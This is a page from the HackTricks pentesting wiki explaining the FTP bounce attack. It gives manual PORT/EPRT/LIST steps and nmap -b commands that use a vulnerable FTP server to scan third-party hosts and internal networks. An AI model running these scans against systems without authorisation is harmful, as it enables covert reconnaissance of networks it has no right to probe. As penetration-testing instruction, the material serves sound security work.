hacktricks/pentesting/pentesting-ftp/ftp-bounce-attack.md

FTP Bounce attack - Scan

FTP Bounce - Scanning

Manual

1. Connect to vulnerable FTP

2. Use **PORT**or EPRTbut only 1 of them to make it establish a connection with the <IP:Port> you want to scan:

   PORT 172,32,80,80,0,8080
EPRT |2|172.32.80.80|8080|

3. Use LISTthis will just send to the connected _<IP:Port>_ the list of current files in the FTP folder and check for the possible responses: 150 File status okay This means the port is open or 425 No connection established This means the port is closed

   1. Instead of LIST you could also use RETR /file/in/ftp and look for similar Open/Close responses.

Example Using PORT port 8080 of 172.32.80.80 is open and port 7777 is closed:

Same example using EPRTauthentication omitted in the image:

Open port using EPRT instead of LIST different env

nmap

nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443